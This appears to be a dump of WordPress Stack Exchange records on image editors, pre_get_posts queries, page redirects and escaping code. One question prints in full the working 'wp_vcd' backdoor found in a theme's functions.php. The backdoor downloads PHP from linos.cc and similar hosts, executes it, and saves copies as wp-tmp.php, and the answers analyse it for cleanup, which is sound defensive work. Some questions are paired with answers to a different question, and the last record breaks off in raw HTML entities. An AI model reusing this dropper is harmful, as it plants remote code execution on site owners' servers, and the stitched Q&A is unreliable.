add_filter ('wp_image_editors', 'wpse303391_change_graphic_editor');
function wpse303391_change_graphic_editor ($array) {
return array( 'WP_Image_Editor_GD', 'WP_Image_Editor_Imagick' );
}
```
This snippet will look for GD first and then for Imagick. The latter gives better quality, but uses more memory, which can also lead to server errors. |
302,305 | <p>Wordpress is of course made up of templates and the template parts that make up those templates. I know I can override the template parts - that's not what I'm trying to do here. I'm trying take the HTML generated by said template part and display it elsewhere.</p>
<p>How can I get the rendered HTML data from a template part for a given Page/Post ID and display it as part of another page, preferably as a shortcode? Here is an example.</p>
<p>Let's say that post with ID = 20 has comments I'd like to display on a separate page. I want to write a shortcode that does this:</p>
<p>-- locate comment data for the post with ID = 20</p>
<p>-- apply that ID to the template part .//templates/comments.php and store the rendered HTML in a shortcode</p>
<p>-- use my custom shortcode anywhere on my page to display it. Ultimately I would show the comments with a similar [comments id="20"]</p>
<p>I know I'm using "comments" here but it's just an example. This will have applications elsewhere, especially with WooCommerce for example where I want to show specific product attribute for a given product.</p>
| [
{
"answer_id": 302296,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": false,
"text": "<p>There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if <a href=\"http://php.net/manual/en/book.imagick.php\" rel=\"nofollow noreferrer\">Imagick</a> and/or <a href=\"http://php.net/manual/en/book.image.php\" rel=\"nofollow noreferrer\">GD</a> are installed.</p>\n\n<p>You can also add this little snippet of code in your <code>functions.php</code> file to make sure WordPress looks for both (often it only looks for Imagick):</p>\n\n<pre><code>add_filter ('wp_image_editors', 'wpse303391_change_graphic_editor');\nfunction wpse303391_change_graphic_editor ($array) {\n return array( 'WP_Image_Editor_GD', 'WP_Image_Editor_Imagick' );\n }\n</code></pre>\n\n<p>This snippet will look for GD first and then for Imagick. The latter gives better quality, but uses more memory, which can also lead to server errors.</p>\n"
},
{
"answer_id": 317305,
"author": "Fabrizzio",
"author_id": 152764,
"author_profile": "https://wordpress.stackexchange.com/users/152764",
"pm_score": 2,
"selected": false,
"text": "<p>I solved this installing the next library</p>\n\n<p>sudo apt-get install php5-gd -> for php5</p>\n\n<p>sudo apt-get install php7.0-gd -> for php7</p>\n\n<p>sudo apt-get install php7.2-gd -> for php7.2</p>\n"
},
{
"answer_id": 345833,
"author": "RohuTech",
"author_id": 97546,
"author_profile": "https://wordpress.stackexchange.com/users/97546",
"pm_score": 0,
"selected": false,
"text": "<p>I had encountered the same issue with my blog, after searching for a while found out that it was because <a href=\"https://en.wikipedia.org/wiki/GD_Graphics_Library\" rel=\"nofollow noreferrer\">GD</a> library for <a href=\"https://www.php.net/manual/en/book.image.php\" rel=\"nofollow noreferrer\">PHP</a> which was not installed on the server</p>\n<p>Since my server is hosted on CentOS, to find the GD Library package within CentOS repository</p>\n<pre><code>$ sudo yum list available | grep 'gd'\n</code></pre>\n<p>Identify GD Library package name and install it</p>\n<pre><code>$ sudo yum install php-gd\n</code></pre>\n<p>Restart apache service</p>\n<pre><code>$ sudo service httpd restart\n</code></pre>\n<p>A detailed article that I wrote can be found <a href=\"https://rohutech.com/there-has-been-an-error-cropping-your-image/\" rel=\"nofollow noreferrer\">here</a> with command output screenshots</p>\n"
},
{
"answer_id": 388751,
"author": "Nitin Tomar",
"author_id": 206948,
"author_profile": "https://wordpress.stackexchange.com/users/206948",
"pm_score": 1,
"selected": false,
"text": "<p>I was facing same issue and unable to understand how to resolve this issue by following given ideas on every portals as I am not hardcore programmer so it was not possible for me to understand their tricks but Now I have successfully troubleshooted this image cropping issue and am sharing my trick how it was troubleshooted.</p>\n<p>You just have to open your xampp controller and stop both the services Apache and MySQL and now click on congfig button of Apache and select PHP(PHP.ini), After selecting you will see a config file, find</p>\n<pre><code>;extension=gd\n</code></pre>\n<p>text, Now just remove ; to enable gd services at your system for PHP as by default it comes with commented and save the file and restart both services Apache and MySQL.</p>\n<p>I hope this will help you.</p>\n"
}
]
| 2018/04/30 | [
"https://wordpress.stackexchange.com/questions/302305",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37934/"
]
| Wordpress is of course made up of templates and the template parts that make up those templates. I know I can override the template parts - that's not what I'm trying to do here. I'm trying take the HTML generated by said template part and display it elsewhere.
How can I get the rendered HTML data from a template part for a given Page/Post ID and display it as part of another page, preferably as a shortcode? Here is an example.
Let's say that post with ID = 20 has comments I'd like to display on a separate page. I want to write a shortcode that does this:
-- locate comment data for the post with ID = 20
-- apply that ID to the template part .//templates/comments.php and store the rendered HTML in a shortcode
-- use my custom shortcode anywhere on my page to display it. Ultimately I would show the comments with a similar [comments id="20"]
I know I'm using "comments" here but it's just an example. This will have applications elsewhere, especially with WooCommerce for example where I want to show specific product attribute for a given product. | There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if [Imagick](http://php.net/manual/en/book.imagick.php) and/or [GD](http://php.net/manual/en/book.image.php) are installed.
You can also add this little snippet of code in your `functions.php` file to make sure WordPress looks for both (often it only looks for Imagick):
```
add_filter ('wp_image_editors', 'wpse303391_change_graphic_editor');
function wpse303391_change_graphic_editor ($array) {
return array( 'WP_Image_Editor_GD', 'WP_Image_Editor_Imagick' );
}
```
This snippet will look for GD first and then for Imagick. The latter gives better quality, but uses more memory, which can also lead to server errors. |
302,324 | <p>This code below was been injected in my wordpress theme on functions.php
Can someone explain me what does the code do? how that was been done?</p>
<pre><code>$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='7af507a87318d795efbdb0a3a9028aad';
if (($tmpcontent = @file_get_contents("http://www.linos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.linos.me/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = @file_get_contents("http://www.linos.xyz/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
</code></pre>
| [
{
"answer_id": 302348,
"author": "Mat",
"author_id": 37985,
"author_profile": "https://wordpress.stackexchange.com/users/37985",
"pm_score": 4,
"selected": true,
"text": "<p>It gets code from a remote location (<a href=\"http://www.linos.cc/code.php\" rel=\"noreferrer\">http://www.linos.cc/code.php</a>) and stores it within a temporary file using <code>sys_get_temp_dir()</code> - <a href=\"http://php.net/manual/en/function.sys-get-temp-dir.php\" rel=\"noreferrer\">http://php.net/manual/en/function.sys-get-temp-dir.php</a> - and then creates a <code>wp-tmp.php</code> file with the before-mentioned code within your WordPress installation in the following locations:</p>\n\n<p><code>/wp-includes/wp-tmp.php</code></p>\n\n<p>and</p>\n\n<p><code>/wp-content/themes/your-theme-name/wp-tmp.php</code></p>\n\n<p>The code that's stored in this file (<a href=\"http://www.linos.cc/code.php\" rel=\"noreferrer\">http://www.linos.cc/code.php</a>) appears to append content to your WordPress sites pages using the <code>the_content</code> WordPress filter - <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/the_content\" rel=\"noreferrer\">https://codex.wordpress.org/Plugin_API/Filter_Reference/the_content</a>.</p>\n\n<p>Ps. The domain name linos.cc is registered with NameCheap - <a href=\"https://www.namecheap.com/\" rel=\"noreferrer\">https://www.namecheap.com/</a> - so you could always report the domain to them as being used for abuse/malicious purposes. You can view details of the domain and get the domain registrars abuse reporting email here: <a href=\"http://whois.domaintools.com/linos.cc\" rel=\"noreferrer\">http://whois.domaintools.com/linos.cc</a></p>\n"
},
{
"answer_id": 302359,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>Hard to say with specifics 'how' the code got there. But I'd guess a security vulnerability in your theme, or a plugin.</p>\n\n<p>In any case, it will add content to your page - spammy links, or perhaps even try to run code on the visitor's system. (As @mat mentioned in his answer.)</p>\n\n<p>So, you need to get rid of it. Lots of googles on how to 'un-hack' a site. It takes some effort, but can be done, IMHO. I even wrote a process on how to do it, based on my experiences cleaning up a site: <a href=\"http://securitydawg.com/recovering-from-a-hacked-wordpress-site/\" rel=\"nofollow noreferrer\">http://securitydawg.com/recovering-from-a-hacked-wordpress-site/</a> . </p>\n"
}
]
| 2018/04/30 | [
"https://wordpress.stackexchange.com/questions/302324",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86598/"
]
| This code below was been injected in my wordpress theme on functions.php
Can someone explain me what does the code do? how that was been done?
```
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='7af507a87318d795efbdb0a3a9028aad';
if (($tmpcontent = @file_get_contents("http://www.linos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.linos.me/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = @file_get_contents("http://www.linos.xyz/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
``` | It gets code from a remote location (<http://www.linos.cc/code.php>) and stores it within a temporary file using `sys_get_temp_dir()` - <http://php.net/manual/en/function.sys-get-temp-dir.php> - and then creates a `wp-tmp.php` file with the before-mentioned code within your WordPress installation in the following locations:
`/wp-includes/wp-tmp.php`
and
`/wp-content/themes/your-theme-name/wp-tmp.php`
The code that's stored in this file (<http://www.linos.cc/code.php>) appears to append content to your WordPress sites pages using the `the_content` WordPress filter - <https://codex.wordpress.org/Plugin_API/Filter_Reference/the_content>.
Ps. The domain name linos.cc is registered with NameCheap - <https://www.namecheap.com/> - so you could always report the domain to them as being used for abuse/malicious purposes. You can view details of the domain and get the domain registrars abuse reporting email here: <http://whois.domaintools.com/linos.cc> |
302,367 | <p>I am modifying the query for custom archive pages. I am using the pre_get_posts action. I need to catch some GET variables to modify my query. It is working great on the archive page for one custom post type but not the rest. It is breaking my navigation menus.</p>
<pre><code>add_action( 'pre_get_posts', 'search_provider');
function search_provider($query){
if(is_post_type_archive(array('provider'))){
$query->set( 'posts_per_page', -1 );
$query->set( 'orderby', 'title' );
$query->set( 'order', 'ASC' );
if(isset($_GET['providersearch']) && $_GET['providersearch'] == 'Y'){
if(!empty($_GET['s']))
$query->set( 's', $_GET['s'] );
} else {
$query->set ('exclude', array(10054, 10068));
}
}
}
</code></pre>
<p>Do I need to clear the query variables after the content is returned?</p>
| [
{
"answer_id": 302370,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 3,
"selected": true,
"text": "<p><code>pre_get_posts</code> runs for every query. That includes the main query, secondary queries, and menus. The problem is that <code>is_post_type_archive(array('provider'))</code> is checking if the <em>main query</em> is the post type archive, not a specific query going through <code>pre_get_posts</code>.</p>\n\n<p>So when you check for that and then modify the current query going through <code>pre_get_posts</code> you're going to modify all queries based on a condition of the main query.</p>\n\n<p>To do what you want properly you need to check each query in <code>pre_get_posts</code> to check that the particular query that is being passed to the action callback is for the post type archive. In other words the same query that you are setting the arguments on with <code>$query->set()</code>.</p>\n\n<p>You can do that by using the <code>$query->is_post_type_archive()</code> method.</p>\n\n<pre><code>add_action( 'pre_get_posts', 'search_provider'); \nfunction search_provider( $query ) {\n if ( $query->is_post_type_archive( array( 'provider' ) ) ) {\n $query->set( 'posts_per_page', -1 );\n $query->set( 'orderby', 'title' );\n $query->set( 'order', 'ASC' );\n\n if ( isset( $_GET['providersearch'] ) && $_GET['providersearch'] == 'Y' ) {\n if ( ! empty( $_GET['s'] ) ) {\n $query->set( 's', $_GET['s'] );\n }\n } else {\n $query->set( 'exclude', array( 10054, 10068 ) );\n }\n }\n}\n</code></pre>\n\n<p>Now <code>$query->set()</code> will only set values if that specific query is a post type archive.</p>\n"
},
{
"answer_id": 359132,
"author": "Hossin Asaadi",
"author_id": 168005,
"author_profile": "https://wordpress.stackexchange.com/users/168005",
"pm_score": 1,
"selected": false,
"text": "<p>should check this first :</p>\n\n<pre><code> if ($query->get('post_type') == 'nav_menu_item')\n return $query;\n</code></pre>\n\n<p>like here :</p>\n\n<pre><code> function wp32151_search_filter($query)\n{\n if ($query->get('post_type') == 'nav_menu_item')\n return $query;\n\n if ($query->is_search) {\n $query->set('post_type', 'shows');\n } \n return $query;\n}\n\nadd_filter('pre_get_posts', 'wp32151_search_filter');\n</code></pre>\n"
}
]
| 2018/05/01 | [
"https://wordpress.stackexchange.com/questions/302367",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27062/"
]
| I am modifying the query for custom archive pages. I am using the pre\_get\_posts action. I need to catch some GET variables to modify my query. It is working great on the archive page for one custom post type but not the rest. It is breaking my navigation menus.
```
add_action( 'pre_get_posts', 'search_provider');
function search_provider($query){
if(is_post_type_archive(array('provider'))){
$query->set( 'posts_per_page', -1 );
$query->set( 'orderby', 'title' );
$query->set( 'order', 'ASC' );
if(isset($_GET['providersearch']) && $_GET['providersearch'] == 'Y'){
if(!empty($_GET['s']))
$query->set( 's', $_GET['s'] );
} else {
$query->set ('exclude', array(10054, 10068));
}
}
}
```
Do I need to clear the query variables after the content is returned? | `pre_get_posts` runs for every query. That includes the main query, secondary queries, and menus. The problem is that `is_post_type_archive(array('provider'))` is checking if the *main query* is the post type archive, not a specific query going through `pre_get_posts`.
So when you check for that and then modify the current query going through `pre_get_posts` you're going to modify all queries based on a condition of the main query.
To do what you want properly you need to check each query in `pre_get_posts` to check that the particular query that is being passed to the action callback is for the post type archive. In other words the same query that you are setting the arguments on with `$query->set()`.
You can do that by using the `$query->is_post_type_archive()` method.
```
add_action( 'pre_get_posts', 'search_provider');
function search_provider( $query ) {
if ( $query->is_post_type_archive( array( 'provider' ) ) ) {
$query->set( 'posts_per_page', -1 );
$query->set( 'orderby', 'title' );
$query->set( 'order', 'ASC' );
if ( isset( $_GET['providersearch'] ) && $_GET['providersearch'] == 'Y' ) {
if ( ! empty( $_GET['s'] ) ) {
$query->set( 's', $_GET['s'] );
}
} else {
$query->set( 'exclude', array( 10054, 10068 ) );
}
}
}
```
Now `$query->set()` will only set values if that specific query is a post type archive. |
302,402 | <p>While I'm developing a website and doing some testing I would like to block access to non-admin (and eventually non-editors) to specific pages such as the woocommerce shop and related pages.</p>
<p>Is there a way, without using plugins, in the <code>functions.php</code> to check:</p>
<pre><code>$list_of_blocked_pages = [ 'shop', 'cart', 'checkout', 'etc...' ];
if ( current_page_is_in( $list_of_blocked_pages ) && !admin && !editor ) {
redirect_to_page( $url );
}
</code></pre>
| [
{
"answer_id": 302413,
"author": "Dim13i",
"author_id": 136052,
"author_profile": "https://wordpress.stackexchange.com/users/136052",
"pm_score": 0,
"selected": false,
"text": "<p>I ended up solving like this:</p>\n\n<pre><code>function block_woocommerce_pages_for_guest() {\n $blocked_pages = is_woocommerce() || is_shop() || is_cart() || is_checkout() || is_account_page() || is_wc_endpoint_url();\n if( !current_user_can('administrator') && !current_user_can('editor') && $blocked_pages ) {\n wp_redirect('/');\n exit;\n } \n}\nadd_action( 'wp', 'block_woocommerce_pages_for_guest', 8 );\n</code></pre>\n\n<p>This way all non-admin and non-editor will be redirected to the homepage.</p>\n"
},
{
"answer_id": 302414,
"author": "JItendra Rana",
"author_id": 87433,
"author_profile": "https://wordpress.stackexchange.com/users/87433",
"pm_score": 4,
"selected": true,
"text": "<p>You can use <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/template_redirect\" rel=\"noreferrer\">template_redirect</a> action to redirect Specific users based on your terms. \nThis action hook executes just before WordPress determines which template page to load. It is a good hook to use if you need to do a redirect with full knowledge of the content that has been queried. </p>\n\n<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/is_page/\" rel=\"noreferrer\">is_page</a> function to check weather the current page is in your list of pages or not. </p>\n\n<pre><code>add_action( 'template_redirect', 'redirect_to_specific_page' );\n\nfunction redirect_to_specific_page() {\n if ( is_page('slug') && ! is_user_logged_in() ) {\n wp_redirect( 'http://www.example.dev/your-page/', 301 ); \n exit;\n }\n}\n</code></pre>\n"
}
]
| 2018/05/01 | [
"https://wordpress.stackexchange.com/questions/302402",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136052/"
]
| While I'm developing a website and doing some testing I would like to block access to non-admin (and eventually non-editors) to specific pages such as the woocommerce shop and related pages.
Is there a way, without using plugins, in the `functions.php` to check:
```
$list_of_blocked_pages = [ 'shop', 'cart', 'checkout', 'etc...' ];
if ( current_page_is_in( $list_of_blocked_pages ) && !admin && !editor ) {
redirect_to_page( $url );
}
``` | You can use [template\_redirect](https://codex.wordpress.org/Plugin_API/Action_Reference/template_redirect) action to redirect Specific users based on your terms.
This action hook executes just before WordPress determines which template page to load. It is a good hook to use if you need to do a redirect with full knowledge of the content that has been queried.
You can use [is\_page](https://developer.wordpress.org/reference/functions/is_page/) function to check weather the current page is in your list of pages or not.
```
add_action( 'template_redirect', 'redirect_to_specific_page' );
function redirect_to_specific_page() {
if ( is_page('slug') && ! is_user_logged_in() ) {
wp_redirect( 'http://www.example.dev/your-page/', 301 );
exit;
}
}
``` |
302,419 | <p>I've been looking for ways to do this, and this is what I have so far. As you can see, I've tried many things and I looked around, all the answers for this sort of question are for how to enable execution, not disable it, I'd like to not have to use a plugin, if possible.
The pre and code tags do not display here but what you'd see is that there are pre, code and textarea readonly="readonly" tags before and after this. I also tried using esc_html which didn't work.
<pre><code>
esc_html(add_action('wp_ajax_nopriv_mytheme_more_post_ajax', 'mytheme_more_post_ajax');
add_action('wp_ajax_mytheme_more_post_ajax', 'mytheme_more_post_ajax');
$t = 0;
if (!function_exists('mytheme_more_post_ajax')) {
function mytheme_more_post_ajax(){</p>
$ppp = (isset($_POST[&#39;ppp&#39;])) ? $_POST[&#39;ppp&#39;] : 3;
$cat = (isset($_POST[&#39;cat&#39;])) ? $_POST[&#39;cat&#39;] : &#39;&#39;;
$offset = (isset($_POST[&#39;offset&#39;])) ? $_POST[&#39;offset&#39;] : 0;
$post_type = (isset($_POST[&#39;post_type&#39;])) ? $_POST[&#39;post_type&#39;] : &#39;&#39;;
$args = array(
&#39;post_type&#39; =&gt; $post_type,
&#39;posts_per_page&#39; =&gt; $ppp,
&#39;post_status&#39; =&gt; &#39;publish&#39;,
&#39;post__not_in&#39; =&gt; $do_not_duplicate,
&#39;cat&#39; =&gt; $cat,
&#39;offset&#39; =&gt; $offset,
);
$loop = new WP_Query($args);
$out = &#39;&#39;;
if ($loop -&gt; have_posts()) :
while ($loop -&gt; have_posts()) :
$loop -&gt; the_post();
$category_out = array();
$categories = get_the_category();
foreach ($categories as $category_one) {
$category_out[] =&#39;&lt;a href=&quot;&#39;.esc_url( get_category_link( $category_one-&gt;term_id ) ).&#39;&quot; class=&quot;&#39;.strtolower($category_one-&gt;name).&#39;&quot;&gt;&#39; .$category_one-&gt;name.&#39;&lt;/a&gt;&#39;;
}
$category_out = implode(&#39;, &#39;, $category_out);
$cat_out = (!empty($categories)) ? &#39;&lt;span class=&quot;cat-links&quot;&gt;&lt;span class=&quot;screen-reader-text&quot;&gt;&#39;.esc_html__(&#39;Categories&#39;, &#39;creativesfeed&#39;).&#39;&lt;/span&gt;&#39;.$category_out.&#39;&lt;/span&gt;&#39; : &#39;&#39;;
$id = get_the_ID();
if ($t == 2) :
$out .= &#39;&lt;div class=&quot;col-md-4 col-sm-12&quot;&gt;
&lt;div class=&quot;adinspire&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;&#39;;
elseif ($t == 5) :
$out .= &#39;&lt;div class=&quot;col-sm-12&quot;&gt;
&lt;div class=&quot;adlong2&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;&#39;;
endif;
if ($t == 9 || $t == 16) :
$out .= &#39;&lt;div class=&quot;col-md-4 col-sm-12&quot;&gt;&#39;;
else :
$out .= &#39;&lt;div class=&quot;col-md-4 col-sm-6&quot;&gt;&#39;;
endif;
$out .= &#39;&lt;div class=&quot;squarepost hvrlines&quot;&gt;
&lt;div class=&quot;noflow&quot;&gt;&#39;;
$out .= &#39;&lt;a class=&quot;postLink&quot; href=&quot;&#39;.esc_url(get_permalink()).&#39;&quot; aria-hidden=&quot;true&quot; style=&quot;opacity: 1;&quot;&gt;&#39;;
$out .= srcset_post_thumbnail();
$out .= &#39;&lt;/a&gt;&#39;;
$out .= &#39;&lt;/div&gt;
&lt;h4 class=&quot;info&quot;&gt;&lt;span&gt;&#39;.print_categories().&#39;&lt;/span&gt;&lt;/h4&gt;
&lt;h2 class=&quot;head3&quot;&gt;&lt;a&gt;&#39;.get_the_title().&#39;&lt;/h2&gt;
&lt;p class=&quot;smallp&quot;&gt;By: &#39;.get_field(&#39;design_company&#39;, $id).&#39;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&#39;;
$t ;
endwhile;
endif;
wp_reset_postdata();
wp_die($out);
}
})</code></pre></textarea>
</code></pre>
| [
{
"answer_id": 302424,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": false,
"text": "<p>I think your answer is about escaping not execution, e.g.:</p>\n\n<pre>\n <b>Why does this text appear bold</b> \n</pre>\n\n<p>versus:</p>\n\n<pre><code> <b>Why does this text appear bold</b> \n</code></pre>\n\n<p>The problem is escaping, but first, some notes:</p>\n\n<h2>The Problem With Calling it Execution</h2>\n\n<p>Executing is the wrong word to use, which is why your googling did not yield results. No PHP is being executed here. Instead, your browser is returning HTML markup, and the browser is displaying it. What you want is to display a code snippet without it showing as real HTML. So escaping/encoding is the problem, not execution, and people will get confused if you call it execution.</p>\n\n<p>Execution implies that code runs, no code is running here.</p>\n\n<h2><code>esc_html</code> and how functions work</h2>\n\n<p>You can't just wrap a code block in <code>esc_html( <code goes here>)</code>, that's not how functions work. <code>esc_html</code> isn't a magic modifier that wraps things like an if statement or a while loop, it isn't a language construct, it's a function.</p>\n\n<p>Functions take something, do work on that something, then return it.</p>\n\n<pre><code>function func ( $in ) {\n return 'output';\n}\n$in = 'input';\n$out = func( $in );\necho $out; // output\n</code></pre>\n\n<p><code>esc_html</code> is an escaping function. It takes unsafe input, escapes it, and returns it. </p>\n\n<p>E.g.</p>\n\n<pre><code>echo esc_html( '<script>dangerous();</script>');\n</code></pre>\n\n<p>Outputs this in the HTML source:</p>\n\n<pre><code>&lt;script&gt;dangerous();&lt;/script&gt;\n</code></pre>\n\n<p>Which will render in the browser as a readable string like this:</p>\n\n<pre><code><script>dangerous();</script>\n</code></pre>\n\n<h2>For Your Situation</h2>\n\n<pre><code>$out = 'unescaped html code with no html entities';\necho esc_html( $out );\n</code></pre>\n\n<p>Additionally, you may want to look into other escaping functions for your other code as a security measure.</p>\n"
},
{
"answer_id": 302425,
"author": "dan178",
"author_id": 142209,
"author_profile": "https://wordpress.stackexchange.com/users/142209",
"pm_score": 0,
"selected": false,
"text": "<p>I found the solution was that I had an html element higher up in the post that wasn't escaped and so the php was attaching to that and showing the posts.</p>\n"
}
]
| 2018/05/01 | [
"https://wordpress.stackexchange.com/questions/302419",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142209/"
]
| I've been looking for ways to do this, and this is what I have so far. As you can see, I've tried many things and I looked around, all the answers for this sort of question are for how to enable execution, not disable it, I'd like to not have to use a plugin, if possible.
The pre and code tags do not display here but what you'd see is that there are pre, code and textarea readonly="readonly" tags before and after this. I also tried using esc\_html which didn't work.
```
esc_html(add_action('wp_ajax_nopriv_mytheme_more_post_ajax', 'mytheme_more_post_ajax');
add_action('wp_ajax_mytheme_more_post_ajax', 'mytheme_more_post_ajax');
$t = 0;
if (!function_exists('mytheme_more_post_ajax')) {
function mytheme_more_post_ajax(){
```
$ppp = (isset($\_POST['ppp'])) ? $\_POST['ppp'] : 3;
$cat = (isset($\_POST['cat'])) ? $\_POST['cat'] : '';
$offset = (isset($\_POST['offset'])) ? $\_POST['offset'] : 0;
$post\_type = (isset($\_POST['post\_type'])) ? $\_POST['post\_type'] : '';
$args = array(
'post\_type' => $post\_type,
'posts\_per\_page' => $ppp,
'post\_status' => 'publish',
'post\_\_not\_in' => $do\_not\_duplicate,
'cat' => $cat,
'offset' => $offset,
);
$loop = new WP\_Query($args);
$out = '';
if ($loop -> have\_posts()) :
while ($loop -> have\_posts()) :
$loop -> the\_post();
$category\_out = array();
$categories = get\_the\_category();
foreach ($categories as $category\_one) {
